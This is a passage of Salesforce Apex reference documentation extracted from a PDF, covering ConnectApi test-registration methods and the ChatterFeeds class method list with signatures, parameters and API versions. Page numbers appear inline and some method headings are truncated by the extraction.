setTestGetFeedItems(communityId, subjectId, favoriteId, result)

Registers a ConnectApi.FeedItemPage object to be returned when getFeedItems is called with matching parameters in
a test context. Use the method with the same parameters or the code throws an exception.
API Version
28.0–31.0
Signature
public static Void setTestGetFeedItems(String communityId, String subjectId, String
favoriteId, ConnectApi.FeedItemPage result)
Parameters
communityId
Type: String
subjectId
Type: String
favoriteId
Type: String
result
Return Value
Type: Void
SEE ALSO:
setTestGetFeedItems(communityId, subjectId, favoriteId, pageParam, pageSize,

sortParam, result)
API Version
28.0–31.0
867
Signature
favoriteId, String pageParam, Integer pageSize, FeedSortOrder sortParam,
ConnectApi.FeedItemPage result)
Parameters
communityId
Type: String
subjectId
Type: String
favoriteId
Type: String
pageParam
Type: String
pageSize
Type: Integer
sortParam
Type: FeedSortOrder
Values are:
result
868
Return Value
Type: Void
SEE ALSO:
setTestGetFeedItems(communityId, subjectId, favoriteId, recentCommentCount,

pageParam, pageSize, sortParam, result)
API Version
29.0–31.0
Signature
favoriteId, Integer recentCommentCount, String pageParam, Integer pageSize, FeedSortOrder
sortParam, ConnectApi.FeedItemPage result)
Parameters
communityId
Type: String
subjectId
Type: String
favoriteId
Type: String
recentCommentCount
Type: Integer
pageParam
Type: String
pageSize
Type: Integer
869
sortParam
Type: FeedSortOrder
Values are:
result
Return Value
Type: Void
SEE ALSO:
getFeedItems(communityId, subjectId, favoriteId, recentCommentCount, pageParam, pageSize, sortParam)
ChatterFeeds Class
Get, post, and delete feed elements, likes, comments, and bookmarks. You can also search feed elements, share feed elements, and vote
on polls.
Namespace
ConnectApi
Usage
In API versions 30.0 and earlier, a Chatter feed was a container of feed items. In API version 31.0, the definition of a feed expanded to
include new objects that didn’t entirely fit the feed item model. The Chatter feed became a container of feed elements. The abstract class
ConnectApi.FeedElement was introduced as a parent class to the existing ConnectApi.FeedItem class. The subset of
properties that feed elements share was moved into the ConnectApi.FeedElement class. Because feeds and feed elements are
the core of Chatter, understanding them is crucial to developing applications with Chatter in Apex. For detailed information, see Feeds
and Feed Elements.
Important: Feed item methods aren’t available in version 32.0. In version 32.0 and later, use feed element methods.
Message segments in a feed item are typed as ConnectApi.MessageSegment. Feed item capabilities are typed as
ConnectApi.FeedItemCapability. Record fields are typed as ConnectApi.AbstractRecordField. These classes
870
are all abstract and have several concrete subclasses. At runtime you can use instanceof to check the concrete types of these objects
and then safely proceed with the corresponding downcast. When you downcast, you must have a default case that handles unknown
subclasses.
ChatterFeeds Methods
The following are methods for ChatterFeeds. All methods are static.
IN THIS SECTION:
createStream(communityId, streamInput)
Create a Chatter feed stream.
deleteComment(communityId, commentId)
Deletes the specified comment. You can find a comment ID in any feed, such as a news feed or a record feed.
deleteFeedElement(communityId, feedElementId)
Deletes the specified feed element.
deleteFeedItem(communityId, feedItemId)
Deletes the specified feed item.
deleteLike(communityId, likeId)
Deletes the specified like. This can be a like on a comment or a feed item.
deleteStream(communityId, streamId)
Delete a Chatter feed stream.
getComment(communityId, commentId)
Returns the specified comment.
getCommentsForFeedElement(communityId, feedElementId)
Get the comments for a specified feed element.
getCommentsForFeedElement(communityId, feedElementId, pageParam, pageSize)
Returns the specified page of comments for the specified feed element.
getCommentsForFeedElement(communityId, feedElementId, sortParam)
Get sorted comments for a feed element.
getCommentsForFeedItem(communityId, feedItemId)
Returns the first page of comments for the feed item. The page contains the default number of items.
getCommentsForFeedItem(communityId, feedItemId, pageParam, pageSize)
Returns the specified page of comments for the specified feed item.
getExtensions(communityId, pageParam, pageSize)
Get extensions.
getFeed(communityId, feedType)
Returns information about the feed for the specified feed type.
getFeed(communityId, feedType, sortParam)
Returns the feed for the specified feed type in the specified order.
871
getFeed(communityId, feedType, subjectId)

Returns the feed for the specified feed type for the specified user.
getFeed(communityId, feedType, subjectId, sortParam)
Returns the feed for the specified feed type for the specified user, in the specified order.
getFeedDirectory(String)
Returns a list of all feeds available to the context user.
getFeedElement(communityId, feedElementId)
Returns information about the specified feed element.
getFeedElement(communityId, feedElementId, commentSort)
Get a feed element with sorted comments.
getFeedElement(communityId, feedElementId, recentCommentCount, elementsPerBundle)
Returns information about the specified feed element with the specified number of elements per bundle including no more than
the specified number of comments per feed element.
getFeedElement(communityId, feedElementId, recentCommentCount, elementsPerBundle, commentSort)
Get the feed element with the specified number of elements per bundle including no more than the specified number of sorted
comments per feed element.
getFeedElementBatch(communityId, feedElementIds)
Get information about the specified list of feed elements. Returns errors embedded in the results for feed elements that couldn’t be
loaded.
getFeedElementPoll(communityId, feedElementId)
Returns the poll associated with the feed element.
getFeedElementsFromBundle(communityId, feedElementId)
Returns the first page of feed-elements from a bundle.
getFeedElementsFromBundle(communityId, feedElementId, pageParam, pageSize, elementsPerBundle, recentCommentCount)
Returns the feed elements on the specified page for the bundle. Each feed element includes no more than the specified number of
comments. Specify the maximum number of feed elements in a bundle.
getFeedElementsFromFeed(communityId, feedType)
Returns the first page of feed elements from the Company, DirectMessageModeration, DirectMessages, Home,
Moderation, and PendingReview feed types. The page contains the default number of items.
getFeedElementsFromFeed(communityId, feedType, pageParam, pageSize, sortParam)
Returns the feed items for the specified page for the Company, DirectMessageModeration, DirectMessages, Home,
Moderation, and PendingReview feed types, in the specified order.
getFeedElementsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam)
Returns the feed elements for the specified page for the Company, DirectMessageModeration, DirectMessages,
Home, Moderation, and PendingReview feed types, in the specified order. Each feed element contains no more than the
specified number of comments.
getFeedElementsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, filter)
Returns the feed elements for the specified page for the Home feed type, with the specified filter in the specified order. Each feed
element contains no more than the specified number of comments.
872
getFeedElementsFromFeed(communityId, feedType, subjectId)

Returns the first page of feed elements for any feed type other than Company, DirectMessageModeration,
DirectMessages, Filter, Home, Landing, Moderation, and PendingReview, for the specified user or record.
The page contains the default number of elements.
getFeedElementsFromFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam)
Returns the feed elements on the specified page for any feed type other than Company, DirectMessageModeration,
DirectMessages, Filter, Home, Landing, Moderation, and PendingReview, in the specified order.
getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam)
DirectMessages, Filter, Home, Landing, Moderation, and PendingReview, in the specified order. Each feed
element includes no more than the specified number of comments.
getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam,
showInternalOnly)
Returns the feed elements on the specified page for the specified record feed (including groups) in the specified order. Each feed
element includes no more than the specified number of comments. Specify whether to return feed elements posted by internal
(non-community) users only.
filter)
Returns the specified page of feed elements for the UserProfile feed.
customFilter)
Returns the specified page of filtered feed elements from the case feed.
getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, elementsPerBundle, density, pageParam,
pageSize, sortParam, showInternalOnly)
(non-community) users only. Specify the maximum number of feed elements in a bundle.
pageSize, sortParam, showInternalOnly, filter)
(non-community) users only. Specify the maximum number of feed elements in a bundle and the feed filter.
pageSize, sortParam, showInternalOnly, customFilter)
Returns the filtered feed elements on the specified page for the case feed in the specified order.
getFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix)
Returns the first page of feed elements for the specified user and the specified key prefix.
getFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize, sortParam)
Returns the specified page of feed elements for the specified user and the specified key prefix, in the specified order.
getFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount, elementsPerBundle, density, pageParam,
Returns the specified page of feed elements for the specified user and the specified key prefix, in the specified order. Each feed
873
getFeedElementsFromFilterFeedUpdatedSince(communityId, subjectId, keyPrefix, recentCommentCount, elementsPerBundle,

density, pageParam, pageSize, updatedSince)
Returns the specified page of feed elements for the specified user and the specified key prefix. Includes only feed elements that have
been updated since the time specified in the updatedSince parameter.
getFeedElementsUpdatedSince(communityId, feedType, recentCommentCount, density, pageParam, pageSize, updatedSince)
Returns the specified page of feed elements for the Company, DirectMessageModeration, Home, and Moderation
feed types. Includes only feed elements that have been updated since the time specified in the updatedSince parameter. Each
feed element contains no more than the specified number of comments.
getFeedElementsUpdatedSince(communityId, feedType, recentCommentCount, density, pageParam, pageSize, updatedSince, filter)
Returns the specified page of feed elements for the Home feed type with the specified feed filter. Includes only feed elements that
have been updated since the time specified in the updatedSince parameter. Each feed element contains no more than the
getFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize,
updatedSince)
Returns the specified page of feed elements for the Files, Groups, News, People, and Record feed types. Includes only
feed elements that have been updated since the time specified in the updatedSince parameter. Each feed element contains
no more than the specified number of comments.
getFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, updatedSince,
showInternalOnly)
Returns the specified page of feed elements for the Record feed type. Includes only feed elements that have been updated since
the time specified in the updatedSince parameter. Specify whether to return feed elements posted by internal (non-community)
users only.
getFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, elementsPerBundle, density, pageParam,
pageSize, updatedSince, filter)
Returns the specified page of feed elements for the UserProfile feed. Includes only feed elements that have been updated
since the time specified in the updatedSince parameter. Use this method to filter the UserProfile feed to include only
feed elements that are scoped to communities. Feed elements that are always visible in all communities are filtered out. Currently,
feed elements scoped to communities have a User or a Group parent record. However, other parent record types could be scoped
to communities in the future.
pageSize, updatedSince, customFilter)
Returns the specified page of filtered feed elements from the case feed. Includes only feed elements that have been updated since
the time specified in the updatedSince parameter.
pageSize, updatedSince, showInternalOnly)
users only. Specify the maximum number of feed elements in a bundle.
pageSize, updatedSince, showInternalOnly, filter)
users only. Specify the maximum number of feed elements in a bundle and the feed filter.
874

pageSize, updatedSince, showInternalOnly, customFilter)
Returns the specified page of filtered feed elements from the case feed. Includes only feed elements that have been updated since
the time specified in the updatedSince parameter.
getFeedItem(communityId, feedItemId)
Returns a rich description of the specified feed item.
getFeedItemBatch(communityId, feedItemIds)
Returns information about the specified list of feed items. Returns a list of BatchResult objects containing
ConnectApi.FeedItem objects. Errors for feed items that can't be loaded are returned in the results.
getFeedItemsFromFeed(communityId, feedType)
Returns the first page of feed items for the Company, Home, and Moderation feed types. The page contains the default number
of items.
getFeedItemsFromFeed(communityId, feedType, pageParam, pageSize, sortParam)
Returns the feed items for the specified page for the Company, Home, and Moderation feed types, in the specified order.
getFeedItemsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam)
Returns the feed items for the specified page for the Company, Home, and Moderation feed types, in the specified order. Each
feed item contains no more than the specified number of comments.
getFeedItemsFromFeed(communityId, feedType, subjectId)
Returns the first page of feed items for the specified feed type, for the specified user or record. The page contains the default number
of items.
getFeedItemsFromFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam)
Returns the feed items on the specified page for the specified user or record, for the specified feed type in the specified order.
getFeedItemsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam)
Returns the feed items on the specified page for the specified user or record, for the specified feed type in the specified order. Each
feed item includes no more than the specified number of comments.
getFeedItemsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam,
showInternalOnly)
Returns the feed items on the specified page for the specified user or record, for the Record feed type in the specified order. Each
feed item includes no more than the specified number of comments. Specify whether to return feed items posted by internal
getFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix)
Returns the first page of feed items for the specified user and the specified key prefix. The page contains the default number of items.
getFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize, sortParam)
Returns the specified page of feed items for the specified user and the specified key prefix, in the specified order.
getFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount, density, pageParam, pageSize, sortParam)
Returns the specified page of feed items for the specified user and the specified key prefix, in the specified order. Each feed item
contains no more than the specified number of comments.
getFeedItemsFromFilterFeedUpdatedSince(communityId, subjectId, keyPrefix, recentCommentCount, density, pageParam, pageSize,
updatedSince)
Returns the specified page of feed items for the specified user and the specified key prefix. Includes only feed items that have been
updated since the time specified in the updatedSince parameter.
875
getFeedItemsUpdatedSince(communityId, feedType, recentCommentCount, density, pageParam, pageSize, updatedSince)

Returns the specified page of feed items for the Company, Home, and Moderation feed types. Includes only feed items that
have been updated since the time specified in the updatedSince parameter. Each feed item contains no more than the specified
number of comments.
getFeedItemsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, updatedSince)
Returns the specified page of feed items for the Files, Groups, News, People, and Record feed types. Includes only feed
items that have been updated since the time specified in the updatedSince parameter. Each feed item contains no more than
the specified number of comments.
getFeedItemsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, updatedSince,
showInternalOnly)
Returns the specified page of feed items for the Record feed type. Includes only feed items that have been updated since the
time specified in the updatedSince parameter. Specify whether to return feed items posted by internal (non-community) users
only.
getFeedPoll(communityId, feedItemId)
Returns the poll associated with the feed item.
getFeedWithFeedElements(communityId, feedType, pageSize)
Get information about the feed and a page of feed elements for the feed type.
getFeedWithFeedElements(communityId, feedType, pageSize, recentCommentCount)
Get a page of information about the feed and the feed elements with the specified number of comments per feed element for the
feed type.
getFilterFeed(communityId, subjectId, keyPrefix)
Returns the first page of a feed for the specified user and the given key prefix.
getFilterFeed(communityId, subjectId, keyPrefix, sortParam)
Returns the first page of a feed in the specified order for the specified user and the given key prefix.
getFilterFeedDirectory(communityId, subjectId)
Gets a feed directory object that contains a list of filter feeds available to the context user. A filter feed is the news feed filtered to
include feed items whose parent is a specific entity type.
getLike(communityId, likeId)
Returns the specified like.
getLikesForComment(communityId, commentId)
Returns the first page of likes for the specified comment. The page contains the default number of items.
getLikesForComment(communityId, commentId, pageParam, pageSize)
Returns the specified page of likes for the specified comment.
getLikesForFeedElement(communityId, feedElementId)
Get the first page of likes for a feed element.
getLikesForFeedElement(communityId, feedElementId, pageParam, pageSize)
Returns the specified page of likes for a feed element.
getLikesForFeedItem(communityId, feedItemId)
Returns the first page of likes for the specified feed item. The page contains the default number of items.
getLikesForFeedItem(communityId, feedItemId, pageParam, pageSize)
Returns the specified page of likes for the specified feed item.
876
getPinnedFeedElementsFromFeed(communityId, feedType, subjectId) (Beta)

Get pinned feed elements from a group or topic feed.
getReadByForFeedElement(communityId, feedElementId)
Get information about who read a feed element and when.
getReadByForFeedElement(communityId, feedElementId, pageParam, pageSize)
Get a page of information about who read a feed element and when.
getRelatedPosts(communityId, feedElementId, filter, maxResults)
Get posts related to the context feed element.
getStream(communityId, streamId)
Get information about a Chatter feed stream.
getStream(communityId, streamId, globalScope) (Pilot)
Get information about a Chatter feed stream, regardless of community.
getStreams(communityId)
Get the Chatter feed streams for the context user.
getStreams(communityId, sortParam)
Get and sort the Chatter feed streams for the context user.
getStreams(communityId, pageParam, pageSize)
Get a page of Chatter feed streams for the context user.
getStreams(communityId, pageParam, pageSize, sortParam)
Get a sorted page of Chatter feed streams for the context user.
getStreams(communityId, pageParam, pageSize, sortParam, globalScope) (Pilot)
Get a sorted page of Chatter feed streams from all communities for the context user.
getSupportedEmojis()
Get supported emojis for the org.
isCommentEditableByMe(communityId, commentId)
Indicates whether the context user can edit a comment.
isFeedElementEditableByMe(communityId, feedElementId)
Indicates whether the context user can edit a feed element. Feed items are the only type of feed element that can be edited.
isModified(communityId, feedType, subjectId, since)
Returns information about whether a news feed has been updated or changed. Use this method to poll a news feed for updates.
likeComment(communityId, commentId)
Adds a like to the specified comment for the context user. If the user has already liked this comment, this is a non-operation and
returns the existing like.
likeFeedElement(communityId, feedElementId)
Like a feed element.
likeFeedItem(communityId, feedItemId)
Adds a like to the specified feed item for the context user. If the user has already liked this feed item, this is a non-operation and
returns the existing like.
postComment(communityId, feedItemId, text)
Adds the specified text as a comment to the feed item, for the context user.
877
postComment(communityId, feedItemId, comment, feedItemFileUpload)

Adds a comment to the feed item from the context user. Use this method to use rich text, including mentions, and to attach a file
to a comment.
postCommentToFeedElement(communityId, feedElementId, text)
Post a plain text comment to a feed element.
postCommentToFeedElement(communityId, feedElementId, comment, feedElementFileUpload)
Post a comment to a feed element. Use this method to post rich text, including mentions, and to attach a file. A comment can contain
up to 10,000 characters.
postFeedElement(communityId, subjectId, feedElementType, text)
postFeedElement(communityId, feedElement, feedElementFileUpload)
Posts a feed element from the context user. Use this method to post rich text, including mentions and hashtag topics, to attach a
file to a feed element, and to associate action link groups with a feed element. You can also use this method to share a feed element
and add a comment.
postFeedElement(communityId, feedElement)
Posts a feed element from the context user. Use this method to post rich text, including mentions and hashtag topics, to attach
already uploaded files to a feed element, and to associate action link groups with a feed element. You can also use this method to
share a feed element and add a comment.
postFeedElementBatch(communityId, feedElements)
Posts a batch of up to 500 feed elements for the cost of one DML statement.
postFeedItem(communityId, feedType, subjectId, text)
Posts a feed item with plain text from the context user.
postFeedItem(communityId, feedType, subjectId, feedItemInput, feedItemFileUpload)
Posts a feed item to the specified feed from the context user. Use this method to post rich text, including mentions and hashtag
topics, and to attach a file to a feed item. You can also use this method to share a feed item and add a comment.
searchFeedElements(communityId, q)
Returns the first page of all the feed elements that match the specified search criteria.
searchFeedElements(communityId, q, sortParam)
Returns the first page of all the feed elements that match the specified search criteria in the specified order.
searchFeedElements(communityId, q, pageParam, pageSize)
Searches feed elements and returns a specified page and page size of search results.
searchFeedElements(communityId, q, pageParam, pageSize, sortParam)
Searches feed elements and returns a specified page and page size in a specified order.
searchFeedElements(communityId, q, recentCommentCount, pageParam, pageSize, sortParam)
Searches feed elements and returns a specified page and page size in a specified order. Each feed element includes no more than
the specified number of comments.
searchFeedElementsInFeed(communityId, feedType, q)
Searches the feed elements for the Company, DirectMessageModeration, Home, Moderation, and PendingReview
feed types.
searchFeedElementsInFeed(communityId, feedType, pageParam, pageSize, sortParam, q)
feed types and returns a specified page and page size in a specified sort order.
878
searchFeedElementsInFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, q)

feed types and returns a specified page and page size in a specified sort order. Each feed element includes no more than the specified
number of comments.
searchFeedElementsInFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, q, filter)
Searches the feed elements for the Home feed type and returns a specified page and page size with the specified feed filter in a
specified sort order. Each feed element includes no more than the specified number of comments.
searchFeedElementsInFeed(communityId, feedType, subjectId, q)
Searches the feed items for a specified feed type.
searchFeedElementsInFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam, q)
Searches the feed elements for a specified feed type and context user, and returns a specified page and page size in a specified sort
order.
searchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam,
q)
Searches the feed elements for a specified feed type and returns a specified page and page size in a specified sort order. Each feed
searchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q,
filter)
Searches the feed elements of the UserProfile feed. Use this method to filter the UserProfile feed to include only feed
elements that are scoped to communities. Feed elements that are always visible in all communities are filtered out. Currently, feed
elements scoped to communities have a User or a Group parent record. However, other parent record types could be scoped to
communities in the future.
customFilter)
Searches the filtered feed elements in the case feed.
showInternalOnly)
order. Each feed element includes no more than the specified number of comments. Specify whether to return feed elements posted
by internal (non-community) users only.
showInternalOnly, filter)
by internal (non-community) users only. Specify feed filter.
showInternalOnly, customFilter)
Searches the filtered feed elements in a case feed, and returns a specified page and page size in a specified sort order.
searchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, q)
Searches the feed elements of a feed filtered by key prefix.
searchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize, sortParam, q)
Searches the feed elements of a feed filtered by key prefix, and returns a specified page and page size in a specified sort order.
879
searchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount, density, pageParam, pageSize, sortParam,

q)
Searches the feed elements of a feed filtered by key prefix, and returns a specified page and page size in a specified sort order. Each
feed element includes no more than the specified number of comments.
searchFeedItems(communityId, q)
Returns the first page of all the feed items that match the specified search criteria. The page contains the default number of items.
searchFeedItems(communityId, q, sortParam)
searchFeedItems(communityId, q, pageParam, pageSize)
Returns a list of all the feed items viewable by the context user that match the specified search criteria.
searchFeedItems(communityId, q, pageParam, pageSize, sortParam)
searchFeedItems(communityId, q, recentCommentCount, pageParam, pageSize, sortParam)
searchFeedItemsInFeed(communityId, feedType, q)
Searches the feed items for the Company, Home, and Moderation feed types.
searchFeedItemsInFeed(communityId, feedType, pageParam, pageSize, sortParam, q)
Searches the feed items for the Company, Home, and Moderation feed types and returns a specified page and page size in a
specified sort order.
searchFeedItemsInFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, q)
specified sort order. Each feed item includes no more than the specified number of comments.
searchFeedItemsInFeed(communityId, feedType, subjectId, q)
searchFeedItemsInFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam, q)
Searches the feed items for a specified feed type and user or record, and returns a specified page and page size in a specified sort
order.
searchFeedItemsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q)
Searches the feed items for a specified feed type and returns a specified page and page size in a specified sort order. Each feed item
includes no more than the specified number of comments.
searchFeedItemsInFeed(String, ConnectApi.FeedType, String, Integer, ConnectApi.FeedDensity, String, Integer,
ConnectApi.FeedSortOrder, String, Boolean)
Searches the feed items for a specified feed type and user or record, and returns a specified page and page size in a specified sort
order. Each feed item includes no more than the specified number of comments. Specify whether to return feed items posted by
internal (non-community) users only.
searchFeedItemsInFilterFeed(communityId, subjectId, keyPrefix, q)
Searches the feed items of a feed filtered by key prefix.
searchFeedItemsInFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize, sortParam, q)
Searches the feed items of a feed filtered by key prefix, and returns a specified page and page size in a specified sort order.
880
searchFeedItemsInFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount, density, pageParam, pageSize, sortParam,

q)
Searches the feed items of a feed filtered by key prefix, and returns a specified page and page size in a specified sort order. Each feed
item includes no more than the specified number of comments.
searchStreams(communityId, q)
Search the Chatter feed streams for the context user.
searchStreams(communityId, q, sortParam)
Search and sort the Chatter feed streams for the context user.
searchStreams(communityId, q, pageParam, pageSize)
Search the Chatter feed streams for the context user and return a page of results.
searchStreams(communityId, q, pageParam, pageSize, sortParam)
Search the Chatter feed streams for the context user and return a sorted page of results.
searchStreams(communityId, q, pageParam, pageSize, sortParam, globalScope) (Pilot)
Search the Chatter feed streams from all communities for the context user and return a sorted page of results.
setCommentIsVerified(communityId, commentId, isVerified)
Mark a comment as verified or unverified.
setCommentVote(communityId, commentId, upDownVote)
Vote a comment up or down.
setFeedCommentStatus(communityId, commentId, status)
Set the status of a comment.
setFeedElementVote(communityId, feedElementId, upDownVote)
Vote a feed element up or down.
setFeedEntityStatus(communityId, feedElementId, status)
Set the status of a feed post.
setIsMutedByMe(communityId, feedElementId, isMutedByMe)
Mute or unmute a feed element.
setIsReadByMe(communityId, feedElementId, readBy)
Mark a feed element as read for the context user using an input body.
setIsReadByMe(communityId, feedElementId, isReadByMe)
Mark a feed element as read for the context user.
shareFeedElement(communityId, subjectId, feedElementType, originalFeedElementId)
Share the originalFeedElementId as the context user.
shareFeedItem(communityId, feedType, subjectId, originalFeedItemId)
Share the originalFeedItemId to the feed specified by the feedType.
updateBookmark(communityId, feedItemId, isBookmarkedByCurrentUser)
Bookmarks the specified feed item or removes a bookmark from the specified feed item.
updateComment(communityId, commentId, comment)
Edits a comment.
updateDirectMessage(communityId, feedElementId, directMessage)
Update the members of a direct message.
881
updateFeedElement(communityId, feedElementId, feedElement)

Edits a feed element. Feed items are the only type of feed element that can be edited.
updateFeedElementBookmarks(communityId, feedElementId, bookmarks)
Bookmark or unbookmark a feed element by passing a ConnectApi.BookmarksCapabilityInput object.
updateFeedElementBookmarks(communityId, feedElementId, isBookmarkedByCurrentUser)
Bookmark or unbookmark a feed element by passing a boolean value.
updateFeedElementReadByCapabilityBatch(communityId, feedElementIds, readBy)
Mark multiple feed elements as read by the context user at the same time using an input body.
updateFeedElementReadByCapabilityBatch(communityId, feedElementIds, isReadByMe)
Mark multiple feed elements as read by the context user at the same time.
updateLikeForComment(communityId, commentId, isLikedByCurrentUser)
Like or unlike a comment.
updateLikeForFeedElement(communityId, feedElementId, isLikedByCurrentUser)
Like or unlike a feed element.
updatePinnedFeedElements(communityId, feedType, subjectId, pin) (Beta)
Pin or unpin feed elements to a group or topic feed.
updateStream(communityId, streamId, streamInput)
Update a Chatter feed stream.
voteOnFeedElementPoll(communityId, feedElementId, myChoiceId)
Vote on a poll or change your vote on a poll.
voteOnFeedPoll(communityId, feedItemId, myChoiceId)
Used to vote or to change your vote on an existing feed poll.
createStream(communityId, streamInput)
Create a Chatter feed stream.
API Version
39.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterStream createStream(String communityId,
ConnectApi.ChatterStreamInput streamInput)
Parameters
communityId
Type: String
882
streamInput
Type: ConnectApi.ChatterStreamInput
A ConnectApi.ChatterStreamInput body.
Return Value
Type: ConnectApi.ChatterStream
deleteComment(communityId, commentId)
Deletes the specified comment. You can find a comment ID in any feed, such as a news feed or a record feed.
API Version
28.0
Requires Chatter
Yes
Signature
public static Void deleteComment(String communityId, String commentId)
Parameters
communityId
Type: String
commentId
Type: String
The ID for a comment.
Return Value
Type: Void
deleteFeedElement(communityId, feedElementId)
Deletes the specified feed element.
API Version
31.0
Requires Chatter
Yes
883
Signature
public static deleteFeedElement(String communityId, String feedElementId)
Parameters
communityId
Type: String
feedElementId
Type: String
The ID for a feed element.
Return Value
Type: Void
deleteFeedItem(communityId, feedItemId)
Deletes the specified feed item.
API Version
28.0–31.0
Important: In version 32.0 and later, use deleteFeedElement(communityId, feedElementId).
Requires Chatter
Yes
Signature
public static Void deleteFeedItem(String communityId, String feedItemId)
Parameters
communityId
Type: String
feedItemId
Type: String
The ID for a feed item.
Return Value
Type: Void
884
deleteLike(communityId, likeId)
Deletes the specified like. This can be a like on a comment or a feed item.
API Version
28.0
Requires Chatter
Yes
Signature
public static Void deleteLike(String communityId, String likeId)
Parameters
communityId
Type: String
likeId
Type: String
The ID for a like.
Return Value
Type: Void
deleteStream(communityId, streamId)
Delete a Chatter feed stream.
API Version
39.0
Requires Chatter
Yes
Signature
public static Void deleteStream(String communityId, String streamId)
Parameters
communityId
Type: String
885
streamId
Type: String
ID of the Chatter feed stream.
Return Value
Type: Void
getComment(communityId, commentId)
Returns the specified comment.
API Version
28.0

31.0
Requires Chatter
Yes
Signature
public static ConnectApi.Comment getComment(String communityId, String commentId)
Parameters
communityId
Type: String
commentId
Type: String
Return Value
Type: ConnectApi.Comment
getCommentsForFeedElement(communityId, feedElementId)
Get the comments for a specified feed element.
API Version
32.0
886

32.0
Requires Chatter
Yes
Signature
public static ConnectApi.CommentPage getCommentsForFeedElement(String communityId,
String feedElementId)
Parameters
communityId
Type: String
feedElementId
Type: String
Return Value
Type: ConnectApi.CommentPage
If the feed element doesn’t support the Comments capability, the return value is ConnectApi.NotFoundException.
getCommentsForFeedElement(communityId, feedElementId, pageParam, pageSize)

Returns the specified page of comments for the specified feed element.
API Version
32.0

32.0
Requires Chatter
Yes
Signature
public static ConnectApi.CommentPage getCommentsForFeedElement(String communityId,
String feedElementId, String pageParam, Integer pageSize)
887
Parameters
communityId
Type: String
feedElementId
Type: String
pageParam
Type: String
pageSize
Type: Integer
The number of comments per page. Valid values are between 1 and 100. If you pass null, the default size is 25.
Return Value
Type: ConnectApi.CommentPage Class
getCommentsForFeedElement(communityId, feedElementId, sortParam)

Get sorted comments for a feed element.
API Version
41.0

41.0
Requires Chatter
Yes
Signature
public static ConnectApi.CommentsCapability getCommentsForFeedElement(String communityId,
String feedElementId, ConnectApi.FeedCommentSortOrder sortParam)
Parameters
communityId
Type: String
888
feedElementId
Type: String
sortParam
Type: ConnectApi.FeedCommentSortOrder
Specifies the order of comments. Values are:
• CreatedDateLatestAsc—Sorts by most recently created comments in ascending order.
• Relevance—Sorts by most relevant content.
Return Value
Type: ConnectApi.CommentsCapability
getCommentsForFeedItem(communityId, feedItemId)
Returns the first page of comments for the feed item. The page contains the default number of items.
API Version
28.0–31.0
Important: In version 32.0 and later, use getCommentsForFeedElement(communityId, feedElementId).

31.0 only
Requires Chatter
Yes
Signature
public static ConnectApi.CommentPage getCommentsForFeedItem(String communityId, String
feedItemId)
Parameters
communityId
Type: String
feedItemId
Type: String
889
Return Value
getCommentsForFeedItem(communityId, feedItemId, pageParam, pageSize)

Returns the specified page of comments for the specified feed item.
API Version
28.0–31.0
Important: In version 32.0 and later, use getCommentsForFeedElement(communityId, feedElementId, pageParam, pageSize).

31.0 only
Requires Chatter
Yes
Signature
public static ConnectApi.CommentPage getCommentsForFeedItem(String communityId, String
feedItemId, String pageParam, Integer pageSize)
Parameters
communityId
Type: String
feedItemId
Type: String
pageParam
Type: String
pageSize
Type: Integer
Return Value
890
getExtensions(communityId, pageParam, pageSize)

Get extensions.
API Version
40.0

40.0
Requires Chatter
Yes
Signature
public static ConnectApi.ExtensionDefinitions getExtensions(String communityId, String
pageParam, Integer pageSize)
Parameters
communityId
Type: String
pageParam
Type: String
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as
currentPageToken or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. The default size is 15.
Return Value
Type: ConnectApi.ExtensionDefinitions
getFeed(communityId, feedType)
Returns information about the feed for the specified feed type.
API Version
28.0

32.0
891
Requires Chatter
Yes
Signature
public static ConnectApi.Feed getFeed(String communityId, ConnectApi.FeedType feedType)
Parameters
communityId
Type: String
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values are Company, DirectMessageModeration, DirectMessages, Home, Moderation,
and PendingReview.
Return Value
Type: ConnectApi.Feed
getFeed(communityId, feedType, sortParam)

